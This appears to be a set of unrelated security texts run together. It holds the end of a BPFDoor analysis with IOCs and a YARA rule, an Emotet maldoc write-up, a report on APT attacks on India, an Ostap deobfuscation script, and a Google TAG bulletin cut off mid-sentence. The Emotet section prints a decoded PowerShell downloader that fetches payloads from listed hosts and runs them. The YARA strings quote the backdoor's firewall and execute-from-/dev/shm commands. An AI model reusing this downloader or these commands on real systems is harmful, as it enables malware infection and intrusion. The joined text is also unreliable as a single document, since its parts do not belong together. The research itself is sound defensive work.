in early May, we noticed an unusual number of rescans of this malware family. This was due to the fact that security researcher @GossiTheDog tweeted a corresponding hash. This malware family seems to be tracked by PwC as BPFDoor used by the Red Menshen threat actor, and we look forward to their presentation at Troopers 2022! ## XV. Annexes ### IOCs - Filenames These filenames can be used as IOCs because, while looking legitimate, they are used only by this malware family. - /var/run/xinetd.lock - /var/run/kdevrund.pid - /var/run/haldrund.pid - /var/run/syslogd.reboot ### IOCs - Hashes - 07ecb1f2d9ffbd20a46cd36cd06b022db3cc8e45b1ecab62cd11f9ca7a26ab6d - a002f27f1abb599f24e727c811efa36d2d523e586a82134e9b3e8454dde6a089 - 8b84336e73c6a6d154e685d3729dfa4e08e4a3f136f0b2e7c6e5970df9145e95 - 76bf736b25d5c9aaf6a84edd4e615796fffc338a893b49c120c0b4941ce37925 - 96e906128095dead57fdc9ce8688bb889166b67c9a1b8fdb93d7cff7f3836bb9 - 599ae527f10ddb4625687748b7d3734ee51673b664f2e5d0346e64f85e185683 - 2e0aa3da45a0360d051359e1a038beff8551b957698f21756cfc6ed5539e4bdb - f47de978da1dbfc5e0f195745e3368d3ceef034e964817c66ba01396a1953d72 - 3347ddcc909c573a27c157f55d0444954e2b4b749bc65607a9f0319217954ac5 - 54a4b3c2ac34f1913634ab9be5f85cde19445d01260bb15bcd1d52ebcc85af2c (Variant with embedded configuration) - fa0defdabd9fd43fe2ef1ec33574ea1af1290bd3d763fdb2bed443f2bd996d73 (2018 variant) - 591198c234416c6ccbcea6967963ca2ca0f17050be7eed1602198308d9127c78 (unstripped variant) - dc8346bf443b7b453f062740d8ae8d8d7ce879672810f4296158f90359dcae3a (Solaris Variant) ### IOCs - Yara Rule ```yara rule Linux_TricephalicImplant { meta: author = "Exatrack" description = "Detect Linux passive backdoors" tlp = "WHITE" source = "Exatrack" strings: $str_message_01 = "hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event" $str_message__02 = "/var/run/haldrund.pid" $str_message_03 = "/bin/rm -f /dev/shm/%s;/bin/cp %s /dev/shm/%s && /bin/chmod 755 /dev/shm/%s && /dev/shm/%s --init && /bin/rm -f /dev/shm/%s" // in the stack $str_message_04 = "Cant fork pty" $str_hald_05 = "/sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d" $str_command_01 = "/sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d" $str_command_02 = "/sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT" $str_command_03 = "/bin/rm -f /dev/shm/%s" $str_command_04 = "/bin/cp %s /dev/shm/%s" $str_command_05 = "/bin/chmod 755 /dev/shm/%s" $str_command_06 = "/dev/shm/%s --init" $str_server_01 = "[+] Spawn shell ok." $str_server_02 = "[+] Monitor packet send." $str_server_03 = "[-] Spawn shell failed." $str_server_04 = "[-] Can't write auth challenge" $str_server_05 = "[+] Packet Successfully Sending %d Size." $str_server_06 = "[+] Challenging %s." $str_server_07 = "[+] Auth send ok." $str_server_08 = "[+] possible windows" $str_filter_01 = "(udp[8:2]=0x7255)" $str_filter_02 = "(icmp[8:2]=0x7255)" $str_filter_03 = "(tcp[((tcp[12]&0xf0)>>2):2]=0x5293)" $str_filter_04 = {15 00 ?? ?? 55 72 00 00} $str_filter_05 = {15 00 ?? ?? 93 52 00 00} $error_01 = "[-] socket" $error_02 = "[-] listen" $error_03 = "[-] bind" $error_04 = "[-] accept" $error_05 = "[-] Mode error." $error_06 = "[-] bind port failed." $error_07 = "[-] setsockopt" $error_08 = "[-] missing -s" $error_09 = "[-] sendto" condition: any of ($str*) or 3 of ($error*) } ``` ### List of Process Names This is a partial list of process names which can be used by the malware to masquerade itself. - /sbin/udevd -d - /sbin/mingetty /dev/tty - /usr/sbin/console-kit-daemon --no-daemon - hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event - dbus-daemon --system - hald-runner - pickup -l -t fifo -u - avahi-daemon: chroot helper - /sbin/auditd -n - /usr/lib/systemd/systemd-journald - /usr/lib/systemd/systemd-machined ### References 1. cd00r 2. The Bvp47 - a Top-tier Backdoor of US NSA Equation Group 3. Knock Knock! Who’s There? - An NSA VM 4. Hive BPF 5. BPF OpCodes 6. BPF filters documentation 7. Ghidra 8. The wrong way to filter sockets with BPF 9. Tweet on Red Menshen 10. Tinker Telco Soldier Spy 11. Hey Uroburos! What’s up?
# Return of the Mummy - Welcome back, Emotet Or to be more historically precise: Imhotep was the Egyptian, Emotet is the malware strain we are going to take a look at. Last week it returned from its summer vacation with a few new tricks. A short disclaimer: downloading and running the samples linked below will compromise your computer and data, so be careful. Also check with your local laws as owning malware binaries/sources might be illegal depending on where you live. **Emotet Sample #1** sha256: 6076e26a123aaff20c0529ab13b2c5f11259f481e43d62659b33517060bb63c5 **Emotet Sample #2** sha256: 757b35d20f05b98f2c51fc7a9b6a57ccbbd428576563d3aff7e0c6b70d544975 Emotet brought home a few souvenirs from its summer trip as well. The images show the two most common decoy header pictures that the distributed Maldocs use. To hide the malicious VBA code that hides under the picture, they used small textboxes that contain the embedded macro. As researchers at MalwareBytes found out, the malspammers are even trying to lure people into downloading the infected Word Documents by advertising them as Edward Snowden's new book "Permanent Record". Seems like the criminals reached a new moral low point. The following two screenshots are excerpts of the report generated by OLETools on an Emotet Word Document. After decoding the Base64 string we get this command as a result: ``` $solidstatePPV76='RhodeIslandB832'; $turquoiseXDz48='844'; $compressEq464='monitorcJX36'; $PersistentWS41=$env:userprofile+'\'+$turquoiseXDz('new-ob'+'je'+'ct') neTwEBClIenT; $customizediV75='hxxps://gcsucai[.]com/wp-content/h891u8f8/@hxxp://www.offmaxindia[.]com/wp-includes/b161/@hxxp://www.kutrialiogludernegi[.]com/cgi-bin/6j1/@hxxp://poshinternationalmedia[.]com/nqec/zcdvgy178/@hxxp://drfalamaki[.]com/M('@'); $Handmadeam16='depositwo79'; foreach($invoicekq959 in $customizediV75) { try { $TCPK2E89"dOwn`lO`A`DFilE"($invoicekq959, $PersistentWS41); $transmitaT74='transitioniK793'; If ((&('Get-I'+'te'+'m') $PersistentWS41)"lenG`TH" -ge 23645) { [DiagnosticsProcess]::"St`ARt"($PersistentWS41); $BuckinghamshireYwZ18='ResearchPwz41'; break; } } } ``` Taking a peek at the imports, we can see that the malware uses (amongst other functions) `TerminateProcess`, `IsDebuggerPresent`, and `GetTimeZoneInfo` imported from `Kernel32.dll`. Furthermore, it also imports various functions like `RegDeleteValueW` to modify the registry from `Advapi32.dll`. It uses the `IsDebuggerPresent` function out of `debugapi.h` to check if it is actively being debugged and will exit if it returns true. Another quite interesting tool to unpack and analyze Emotet is `tracecorn_tina`, which is based on `tracecorn`, a Windows API tracer for malware. ## IOCs **Emotet (SHA256)** 6076e26a123aaff20c0529ab13b2c5f11259f481e43d62659b33517060bb63c5 (480 KiB) 7080e1b236a19ed46ea28754916c43a7e8b68727c33cbf81b96077374f4dc205 (484 KiB) 757b35d20f05b98f2c51fc7a9b6a57ccbbd428576563d3aff7e0c6b70d544975 (201 KiB) **.docm Files (SHA256)** ea7391b5dd01d2c79ebe16e842daacc84a0dc5f0174235bbae86b2204312a6ab --> 5B99674D2005BB01760A1765E4CB3BD06C6A7970.doc e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 --> 8KZLXW0QU5K8_NJC.docm c13a058b51294284b7383b5d5c78eff83529519c207376cf26e94f4e888c5114 --> 9B797E5A9E5FB0789B8278134AF083AA4116B28E.doc ae63b306cc2787b2acac3770d706db0648f53e1fade14af0104cfcb07001e22d --> ANHANG 3311 1519749319.doc 82bb3612b299cba0350e1dc4c299af9d50354cc1448b1dd931017f4381d0606a --> D468EA5BA7A856C12C3AC887C1A023F6B1182165.doc 78d7b30a7a68c3b1da18bcf2ea84904907ecbd96d460b7d94871ac1a6ff21a35 --> DETAILS_09_17_2019MW-33916.docm d88175cb5257df99953b2cfb65dff302dce425548c54706bf7d23ba6de5eef19 --> DOC-16092019 6678523.doc cb4a203b541ec40e06c9d9f030dacf22747d62a771385d49d03801945b8d2e1a --> FB1ADE20382673E3E1D3351FA3155229880F6ECE.doc 1e1eedfe3066f398cdc0805ec5338e2028c0fd7085255c741d31ec35eb3bdbda --> 7330786_09_23_2019_UIE76589.doc **URLs** hxxps://autorepuestosdml[.]com/wp-content/CiloXIptI/ hxxps://pep-egypt[.]com/eedy/xx3yspke7_l7jp5-430067348/ hxxps://danangluxury[.]com/wp-content/uploads/KTgQsblu/ hxxps://www.gcesb[.]com/wp-includes/customize/zUfJervuM/ hxxps://bondagetrip[.]com/wp-content/y0gm3xxs_hmnw8rq-764161699/ hxxp://www.offmaxindia[.]com/wp-includes/b161/ hxxp://www.kutrialiogludernegi[.]com/cgi-bin/6j1/ hxxp://poshinternationalmedia[.]com/nqec/zcdvgy178/ hxxp://drfalamaki[.]com/Mqm24/btxz33664/ hxxps://gcsucai[.]com/wp-content/h891u8f8/ **Contacted Servers** hxxp://179.12.170[].]88:8080/vermont/json/ringin/ hxxp://182.76.6[.]2:8080/sess/ hxxp://86.98.25[.]30:53/ringin/attrib/ringin/ hxxp://198.199.88[.]162:8080/sym/codec/ringin/ hxxp://178.62.37[.]188:443/health/enabled/ringin/ hxxp://92.222.125[.]16:7080/acquire/loadan/ hxxp://45.79.188.67:8080/report/ hxxp://45.79.188.67:8080/stubs/schema/ringin/ hxxp://173.214.174[.]107:443/whoami.php hxxp://173.214.174[.]107:443/xian/vermont/ringin/merge/ hxxp://173.214.174[.]107:443/symbols/enable/ringin/
# Inside Report – APT Attacks on Indian Cyber Space ## Objective The objective of this report is the following: - An overview of malware distribution in Indian Cyberspace - Detailed, in-depth technical analysis of Advanced Persistent Threat (APT) actors against India - Enumerate the primary technical causes leading to successful attacks - Recommendations to improve and protect the overall Critical Information Infrastructure ## About CERT-ISAC CERT-ISAC is India’s first Independent CERT for mobile and electronic security. Established by the non-profit scientific foundation “Information Sharing and Analysis Center” (ISAC) that manages the National Security Database (NSD) program, CERT-ISAC has a dedicated 30-seat threat intelligence monitoring center at New Delhi and Mumbai to monitor constant threats and attacks on the Indian Cyber Space. CERT-ISAC has numerous security experts from the National Security Database program who regularly support the research initiatives. ## About Po: Mobile Anti-Virus “Po” is an advanced behavior-based mobile anti-virus designed by the organization Research Bundle, especially for defense. The Po Engine is currently used by CERT-ISAC for malware analysis and certification of mobile apps for security and privacy. ## How is this document organized? - Part One – Hunter or the Hunted? - Part Two – Advanced Persistent Threat - Analysis - Part Three - Primary Causes - Part Four - Recommendations ## PART ONE: HUNTER OR HUNTED? The recent ‘Operation Hangover’ report from Norman’s Malware Detection Team has projected India as an emerging APT actor. The report goes on to document a detailed analysis of targeted malware and lists a small number of Indian-based companies that were potentially threat actors involved in the campaign. While the ‘Hangover’ report itself has been widely debated in the Indian Information Security community, there is little proof, beyond circumstantial evidence provided in the Norman report, that Indian actors were behind this APT campaign, and the larger concern remains that India is the victim of numerous APT campaigns, rather than an instigator of this threat. As our Government is rapidly migrating towards e-governance, it is vital to ensure a robust approach to data security is implemented from an early stage to prevent misuse and subsequent attacks on critical infrastructure and the national economy. A quick look at India's history with respect to battling cyber threats reveals an age-old and ongoing war between the “hackers” from various Nations. Defacement of Indian government sites dates back to the year 2003 and even today, they continue to happen. In this report, we analyze the various facts and provide an in-depth analysis of an “Advanced Persistent Threat” attack on India that makes us ask – Are we the hunter or the hunted? ## APT campaigns against India “Advanced Persistent Threat” or APT as it is known, is a reality today. Unlike the regular script-kiddie attacks that are carried out usually for fun or for fame, APTs are serious campaigns, undertaken by groups with a variety of skill sets. The focus of an APT campaign usually is to gather valuable information against specific companies/organizations or selected sectors of a country. These usually begin with highly targeted spear-phishing attacks. ## Malware Distribution in India Out of 25,935 websites scanned by Google, 14% were infected by Malware. ## Overview of attacks on India from 26th May 2013 to 26th June 2013 **AS = Attack Sites** ### Attacked and compromised websites from TATA Communications ### Attacked and compromised websites from Web Werks ### Attacked and compromised websites from Net Magic Datacenter Mumbai ### Attacked and compromised websites from Ctrl-S Datacenter ### Attacked and compromised websites from Net4India ### Attacked and compromised websites from National Informatics Center (NIC) ## Statistics from CERT-IN To make some sense of the current scenario of cyber security in India, let’s have a look at some of the statistics published by CERT-India. | Activity | 2006 | 2007 | 2008 | 2009 | 2010 | 2011 | |--------------------------------------------|------|------|------|------|------|------| | Security Incidents handled | 552 | 1237 | 2565 | 8266 | 10315| 13301| | Security Alerts issued | 48 | 44 | 49 | 29 | 43 | 48 | | Advisories Published | 50 | 66 | 76 | 61 | 72 | 81 | | Vulnerability Notes Published | 138 | 163 | 197 | 157 | 274 | 188 | | Security Guidelines Published | 1 | 1 | 1 | 0 | 1 | 4 | | White papers/Case Studies Published | 2 | 2 | 1 | 1 | 1 | 3 | | Trainings Organized | 7 | 6 | 18 | 19 | 26 | 26 | | Indian Website Defacements tracked | 5211 | 5863 | 5475 | 6023 | 14348| 17306| | Open Proxy Servers tracked | 1837 | 1805 | 2332 | 2583 | 2492 | 3294 | | Bot Infected Systems tracked | 0 | 25915| 146891| 3509166| 6893814| 6277936| It’s not surprising to note that the threats are increasing at an alarming rate, year after year. In a way, it’s heartening to observe the CERT evolve and rise to newer challenges and latest threats. Unfortunately, it’s not enough. The reports submitted by CERT do not take into account the most fundamental aspects of maintaining a state of secure IT environment. This fact is evident from the number of security incidents that happen over a year and how the right authorities react to them. If every reported incident was handled properly by identifying the root cause, followed by a full security audit, we wonder if the numbers would grow so fast. As mentioned earlier, cases of government sites being defaced date back to 2003. Even today, one can find servers running older and vulnerable versions of software, poor server management, web applications deployed on these servers being designed and implemented by programmers who lack awareness of secure coding practices, to name a few. The private sector, though, is much more cautious and alert when it comes to their IT infrastructure compared to the government. ## Attack on Indian IT Infrastructure: Zone-H Statistics While the statistics presented by CERT-In look alarming by themselves, the actual state of domains that end with “gov.in” is much worse. A quick look at the following recent screenshot of www.zone-h.org site provides some shocking insight. According to the site, the current statistics are as follows: - Total Notifications: 1299 - Mass defacements: 753 ## PART TWO: ADVANCED PERSISTENT THREAT - ANALYSIS ### The Travnet Case A recent incident that caught our attention was the “Travnet” case. We carried out a preliminary analysis of our own on the subject. Kaspersky as well as McAfee, amongst others, have published detailed analysis of the malware and the campaign. Our focus was to understand the nature of the group behind the attack and its agenda. It began with Kaspersky's revelation of the attack. We recommend you to go through Kaspersky & McAfee's analysis of the malware to know more about the spear phishing campaign and the exploits used. To summarize the modus operandi of the attack, targeted phishing mails were sent to individuals, having Office documents as attachments. These documents exploited previously known vulnerabilities (CVE-2012-0158 and CVE-2010-3333) to drop “Travnet” malware onto the systems. Its fascinating to note that the attachments that were sent to Indian targets were carefully selected & some of them were named as follows: - “Army Cyber Security Policy 2013.doc” - “Jallianwala bagh massacre a deeply shameful act.doc” - “Report - Asia Defense Spending Boom.doc” - “His Holiness the Dalai Lama’s visit to Switzerland day 3.doc” - “BJP won’t dump Modi for Nitish NDA headed for split.doc” As it's evident, the group behind the attack obviously has done extensive research on topics that are current as well as intriguing to the Indian targets. We managed to acquire 2 variants of the “Travnet” malware & our analysis of the same is as follows. ### Travnet Technical Analysis: Part A **File details:** - Filename: travnet_A.exe - MD5: d286c4cdf40e2dae5362eff562bccd3a - SHA1: 25ac3098261df8aa09449a9a4c445c91321352af - SHA256: a75fdd9e52643dc7a1790c79cbfffe9348f80a9b0984eafd90723bf7ca68f4ce - Filesize: 97792 bytes - Filetype: PE32 executable (GUI) Intel 80386, for MS Windows A quick analysis by PEiD reveals that the binary is not packed or protected. It begins by creating a new mutex object, named “INSTALL SERVICES NOW!”. Next step is to create a configuration file named “config_t.dat” in the Windows' “system” folder. It then populates it with the right parameters, after decoding them. After the configuration file is written, it checks if the malware was previously installed or not; if not, it creates a dynamic-link library in the “system32” folder, creates a temporary batch file named as “temp.bat” which installs the previous DLL as a service on the system. The name of the DLL that is created is based upon the values of the data from “netsvcs” from the following registry key: “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost”. During this runtime, it turned out to be “6to4ex.dll” but it can change from runtime to runtime. The malware then deletes the batch file. It's obvious that this executable basically acts as a dropper. ### Analysis of “6to4ex.dll” **File Details:** - Filename: 6to4ex.dll - MD5: 452660884ebe3e88ddabe2b340113c8a - SHA1: b80d436afcf2f0493f2317ff1a38c9ba329f24b1 - SHA256: ed6ad64dad85fe11f3cc786c8de1f5b239115b94e30420860f02e820ffc53924 - Filetype: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows - Filesize: 46592 bytes - C&C url: http://www.newesyahoo.com/traveler1/net/nettraveler.asp A quick analysis by PEiD reveals that the binary is not packed or protected. Now, as we know already, this DLL was installed as a service by the previous dropper. Analysis of the “ServiceMain” function of the DLL throws light on many interesting things. The first thing it does upon execution is to create a new mutex object named “NetTravler Is Running!”. It's usually done to avoid running multiple instances of the same malware. Next, it reads the configuration file. Additionally, it also creates a few interesting files in the “system32” folder. The filenames are quite indicative of what their contents might be. Another interesting aspect of Travnet is that it can specifically search for files of the type “doc, docx, xls, xlsx, txt, rtf, pdf” on the victim machine. This provides enough hint that this malware was designed to steal confidential information unlike the usual botnet variants that focus primarily on providing remote access to the system or to act as zombies for launching DDoS attacks. To summarize, the Travnet malware initially collects system information, a list of files on the victim machine among others, then sends this data to the remote Command & Control (C&C) server, by using custom compression & encoding functions. The malware creates a new file with the naming convention as follows: “travlerbackinfo-%d-%d-%d-%d-%d.dll”, where the signed integer values are replaced by the current system date & time, copies the content of “system_t.dll” into it & then uploads it to the C&C. It also uploads the list of files found on the victim machine, which was saved in the “enumfs.ini” file to the remote server, by copying its contents to a new file, named following this format: “FileList-%02u%02u-%02u%02u%02u.ini”. It doesn't stop at that; it even uploads the victim's files onto the remote C&C that have the file extensions “doc, docx, xls, xlsx, txt, rtf, pdf” as well as the files on the victim's desktop folder. Another important aspect of Travnet is the fact that it uses a custom compression & encoding algorithm on the data collected, before it's sent to the remote C&C. ## PART THREE: PRIMARY CAUSES ### Use of Outdated Software on Government Websites Many of the servers that host “gov.in” sites are running outdated software versions. For example, the domain “karnataka.gov.in” is hosted on a server running “Windows Server 2003”. While the use of outdated software is one of the major concerns, it seems most of the Indian government sites are riddled with vulnerable code too. It’s quite common to locate webshells on these sites. ### Webshells on Indian Websites One of the many live webshells we found recently during our analysis is shown in the following image. It’s evident that this webshell is still active at the time of this writing. An example of a government site that’s not properly managed & discloses highly sensitive information is as follows. Even important government sites, access to which can lead to much deeper intrusion seem to be managed with little care. While defacements are usually carried out by hackers just for fun or fame, in a way it's a boon in disguise. Serious hackers can cause much more damage and remain unnoticed for a very long time by having access to the privileges these hackers abuse to deface the site. Slowly but steadily, serious APT campaigns are on the rise. It’s very important for the nation to start upgrading its IT infrastructure and keep up with the latest security guidelines and practices. ## PART FOUR: RECOMMENDATIONS We recommend the following: ### Policy on Domain Name acquisition, management & maintenance The Domain name acquisition, management and maintenance policy should address the process to protect and manage the crucial online identities of Indian Government Domains. At present, there is no consistent policy to acquire and manage the domains. The policy should address: 1. Naming convention to be followed for official Government domains to prevent misuse by domain squatters. 2. A Government body that is responsible to register, administer and manage the domains. 3. Consistent working administrative and management contacts for WHOIS query. 4. Systematic policy to acquire domains and renew them on a timely basis. 5. A policy to ensure “Domain Authorization keys” are managed properly and maintained in proper chain of custody, secured in a bank locker and handled with systematic process. ### Policy on Vendor qualification for secure website development It is crucial to select the right vendors for developing security websites and web applications for all Government projects. The policy should address: 1. Qualification parameters for selection of vendor for website and web application development. 2. Certified Staff by vendor working on Government projects for Information security and secure coding. 3. Quarterly vulnerability assessment and penetration testing of all websites. 4. Security Classification of websites that determine parameters of vendor approval. 5. Comprehensive development and support contract from vendor that covers data security and associated penalties in event of breach. ### Policy on Patch Management While it is possible that such a policy exists with organizations such as NIC, it is important to ensure these are implemented in a timely manner. The policy on patch management must ensure outdated software must be secured appropriately and updated as per Industry standards. The policy must address: 1. Adequate test bed environment for testing new updates for software, patches etc. 2. Comprehensive UAT (User Acceptance Testing) before implementation of critical security patches. 3. Policy to ensure critical security updates are deployed within a specified time from date of release. 4. Backup of data and rollback methodologies in event of patch deployment issues. 5. Monitoring of critical updates and patches and appropriate classification of the same for deployment. ### Policy, Process and Guidelines on Full disclosures India has a strong community of Information security experts who can support the Indian Government and strengthen overall security of our cyber space. As the nature of such community is dynamic and rapidly evolving, it is important for the Indian Government to set up a policy and process for responsible full disclosures when Indian citizens report possible vulnerabilities in critical digital assets of India. These must address: 1. Process by which any citizen of India can safely submit and report vulnerabilities, full disclosures in Indian websites to an authorized agency without fearing action of IT Act law. 2. Guidelines under which, the security experts from the Indian community can communicate, assist and support law enforcement and responsible agencies in effectively addressing security gaps in Indian Cyber space. 3. Process to act on security incidents reported by the security community in a timely manner. 4. Guidelines to industry at large on how to cooperate with security experts who disclose security issues in their organizations. 5. Guidelines to the citizens on being Cyber aware and how to help the Government in securing the economy of the country from malicious hackers. ### Role of National Security Database National Security Database (NSD) is a prestigious empanelment program awarded to credible & trustworthy Information security experts with proven skills to protect the National Critical Infrastructure & economy of the country. The National Security Database project has been generously endorsed and supported by NTRO and CERT and has been playing an important role in raising cyber safety awareness across the Nation as well as engaging the community in improving the overall cyber space of India. We sincerely believe that in coming years, the program will create a strong and credible cyber workforce that can help the Indian Government in both offense and defense of its Cyber Space.
```python #!/usr/bin/env python # # A script that deobfuscates Ostap JSE (JScript Encoded) downloaders. The script is based # on Ostap samples analysed in August 2019, such as those delivering TrickBot. It will try # to identify the indexes containing Unicode character codes and then deobfuscate the sample # using subtraction and addition. # # To use the script, supply a file as an argument or pipe it to stdin: # # $ python deobfuscate_ostap.py ostap.jse # $ cat ostap.jse | deobfuscate_ostap.py # Author.....: Alex Holland (@cryptogramfan) # Date.......: 2019-08-29 # Version....: 0.0.5 # License....: CC BY 4.0 import os import sys import re index_0 = "" index_1 = "" indexes_raw = [] indexes = [] values_0 = [] values_1 = [] # Subtract index 0 values from index 1 def subtract_values_1(): characters_sub = [] servers = [] urls = [] try: print("[+] Trying deobfuscation by subtracting index %s elements from index %s elements..." % (indexes[0], indexes[1])) charcodes_sub = [i - j for i, j in zip(values_0, values_1)] except: print("[!] Error subtracting index %s elements from index %s elements." % (indexes[0], indexes[1])) subtract_values_2() # Try another subtraction instead try: for charcode_sub in charcodes_sub: character_sub = chr(charcode_sub) characters_sub.append(character_sub) characters_sub = ''.join(characters_sub) except: print("[!] Error converting character codes to characters.") subtract_values_2() match = re.search("Script", characters_sub, re.IGNORECASE) if match: print("[+] Deobfuscation using subtraction 1 was successful:\n") print(characters_sub) match_url = re.search("http(s):\/\/.+(Drives|POST)", characters_sub, re.IGNORECASE) if match_url: servers.append(match_url.group()) for server in servers: server = re.sub("Drives.*$", "", server, re.IGNORECASE) server = re.sub("POST$", "", server, re.IGNORECASE) urls.append(server) if urls: print("\n[+] Found URL(s):\n") print(", ".join(urls)) exit(0) else: print("[!] Deobfuscation using subtraction 1 was unsuccessful.") subtract_values_2() return # Subtract index 1 values from index 0 values def subtract_values_2(): characters_sub = [] servers = [] urls = [] try: print("[+] Trying deobfuscation by subtracting index %s elements from index %s elements..." % (indexes[1], indexes[0])) charcodes_sub = [i - j for i, j in zip(values_1, values_0)] except: print("[!] Error subtracting index %s elements from index %s elements." % (indexes[1], indexes[0])) add_values() # Try addition instead try: for charcode_sub in charcodes_sub: character_sub = chr(charcode_sub) characters_sub.append(character_sub) characters_sub = ''.join(characters_sub) except: print("[!] Error converting character codes to characters.") add_values() match = re.search("Script", characters_sub, re.IGNORECASE) if match: print("[+] Deobfuscation using subtraction 2 was successful:\n") print(characters_sub) match_url = re.search("http(s):\/\/.+(Drives|POST)", characters_sub, re.IGNORECASE) if match_url: servers.append(match_url.group()) for server in servers: server = re.sub("Drives.*$", "", server, re.IGNORECASE) server = re.sub("POST$", "", server, re.IGNORECASE) urls.append(server) if urls: print("\n[+] Found URL(s):\n") print(", ".join(urls)) exit(0) else: print("[!] Deobfuscation using subtraction 2 was unsuccessful.") add_values() return # Add index 0 values to index 1 values def add_values(): characters_add = [] servers = [] urls = [] try: print("[+] Trying deobfuscation by adding index %s elements to index %s elements..." % (indexes[1], indexes[0])) charcodes_add = [i + j for i, j in zip(values_1, values_0)] except: print("[!] Error adding index %s elements to index %s elements. Exiting." % (indexes[1], indexes[0])) exit(0) try: for charcode_add in charcodes_add: character_add = chr(charcode_add) characters_add.append(character_add) characters_add = ''.join(characters_add) except: print("[!] Error converting character codes to characters. Exiting.") exit(0) match = re.search("Script", characters_add, re.IGNORECASE) if match: print("[+] Deobfuscation using addition was successful:\n") print(characters_add) match_url = re.search("http(s):\/\/.+(Drives|POST)", characters_add, re.IGNORECASE) if match_url: servers.append(match_url.group()) for server in servers: server = re.sub("Drives.*$", "", server, re.IGNORECASE) server = re.sub("POST$", "", server, re.IGNORECASE) urls.append(server) if urls: print("\n[+] Found URL(s):\n") print(", ".join(urls)) exit(0) else: print("[!] Deobfuscation using addition was unsuccessful. Exiting.") exit(0) return if len(sys.argv) > 1: file = open(sys.argv[1], 'r') else: file = sys.stdin while 1: input = file.read() # Find array indexes try: print("\n[+] Analysing %s" % os.path.basename(file.name)) input = input.decode('utf-8') except UnicodeError: print("[!] File not UTF-8. Treating as UTF-16.") input = input.decode('utf-16') try: indexes_raw = re.findall("\[\d+\]=\d+;", input) except: print("[!] Error finding array indexes. Exiting.") exit(0) if not indexes_raw: print("[!] Array indexes not found. Exiting.") exit(0) # Put the index string into a list try: for index in indexes_raw: index = re.sub("\[", "", index) index = re.sub("\]=\d+;", "", index) indexes.append(index) # Remove duplicates indexes = list(set(indexes)) print("[+] Found array indexes %s and %s." % (indexes[0], indexes[1])) except: print("[!] Error processing array indexes. Exiting.") exit(0) try: element_regex_0 = r"\[" + indexes[0] + r"\]=\d+;" element_regex_1 = r"\[" + indexes[1] + r"\]=\d+;" except: print("[!] Error creating regular expressions. Exiting.") exit(0) # Find the values of index 0 elements try: print("[+] Searching for index %s elements..." % indexes[0]) array_0 = re.findall(element_regex_0, input) for element in array_0: element = re.sub("\[\d+\]=", "", element) element = re.sub(";", "", element) values_0.append(element) except: print("[!] Error finding index %s elements. Exiting." % indexes[0]) exit(0) if not values_0: print("[!] No index %s elements found. Exiting." % indexes[0]) exit(0) # Convert index 0 elements to integer values try: values_0 = map(int, values_0) except: print("[!] Error converting index %s elements to integers. Exiting." % indexes[0]) exit(0) # Find the values of index 1 elements try: print("[+] Searching for index %s elements..." % indexes[1]) array_1 = re.findall(element_regex_1, input) for element in array_1: element = re.sub("\[\d+\]=", "", element) element = re.sub(";", "", element) values_1.append(element) except: print("[!] Error finding index %s elements. Exiting." % indexes[1]) exit(0) if not values_1: print("[!] No index %s elements found. Exiting." % indexes[1]) exit(0) # Convert index 1 elements to integer values try: values_1 = map(int, values_1) except: print("[!] Error converting index %s elements to integers. Exiting." % indexes[1]) exit(0) subtract_values_1() subtract_values_2() add_values() exit(0) ```
# TAG Bulletin: Q4 2021 **Shane Huntley** **December 2, 2021** **Threat Analysis Group** This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q4 2021. It was last updated on February 7, 2022. ## October We terminated 9 YouTube channels and 1 ads account as part of our investigation into coordinated influence operations linked to Vietnam. The campaign uploaded conspiracy theory content in English and Korean. We believe this operation was financially motivated. We terminated 4 AdSense accounts and blocked 22 domains from eligibility to appear on Google News surfaces and Discover as part of our investigation into a reported coordinated influence operation linked to India. The campaign uploaded a variety of news content in English to domains that were designed to look as if they were independent news outlets in various US states and European countries. We believe this operation was financially motivated. We received leads from the FBI that supported us in this investigation. We terminated 37 YouTube channels and 4 blogs as part of our investigation into coordinated influence operations linked to Sudan. The campaign uploaded content in Arabic that was supportive of the Sudanese military. Our findings are similar to findings reported by Facebook. We terminated 3 YouTube channels as part of our investigation into coordinated influence operations linked to Uganda. The campaign uploaded content in English that was critical of Ugandan opposition political parties. Our findings are similar to findings reported by Twitter. We terminated 3,311 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China. These channels mostly uploaded spammy content in Chinese about music, entertainment, and lifestyle. A very small subset uploaded content in Chinese and English about China’s COVID-19 vaccine efforts and social issues in the U.S. These findings are consistent with our previous reports. ## November We terminated 86 YouTube channels and 3 blogs as part of our investigation into coordinated influence operations linked to Nicaragua. The campaign posted content in Spanish that was supportive of the Nicaraguan government and critical of opposition political parties. Our findings are similar to findings reported by Facebook. We terminated 15,368 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China. These channels mostly uploaded spammy content in Chinese about music, entertainment, and lifestyle. A very small subset uploaded content in Chinese and English about China’s COVID-19 vaccine efforts and social issues in the U.S. These findings are consistent with our previous reports. The increased takedown volume compared to prior months is the result of adjustments made to our detection model, and we do not believe it reflects an increase in activity by this campaign. ## December We terminated 1 YouTube channel as part of our investigation into coordinated influence operations linked to Iran. The campaign uploaded content in English that was supportive of US politicians. We terminated 15 YouTube channels and 1 Blogger blog as part of our investigation into coordinated influence operations linked to Palestine. The campaign uploaded content in Arabic that was critical of Israel and supportive of Palestine and the Egyptian Muslim Brotherhood. Our findings are similar to findings reported by Meta. We terminated 10 YouTube channels as part of our investigation into coordinated influence operations linked to Belarus. The campaign uploaded content in Arabic that negatively characterized the treatment and conditions of Muslim migrants in Belarus. Our findings are similar to findings reported by Meta. We terminated 2 YouTube channels and 1 Ads account as part of our investigation into coordinated influence operations. The campaign uploaded content in French that was supportive of candidates in past elections in the Central African Republic. We terminated 7 YouTube channels as part of our investigation into coordinated influence operations linked to Russia. The campaign was linked to the Russian news agency ANNA News and was uploading content in Russian that was about military activity in the Middle East. We received leads from Miburo Solutions that supported us in this investigation. We terminated 99 YouTube channels as part of our investigation into coordinated influence operations linked to Russia. The campaign was linked to a Russian consulting firm and was posting content in 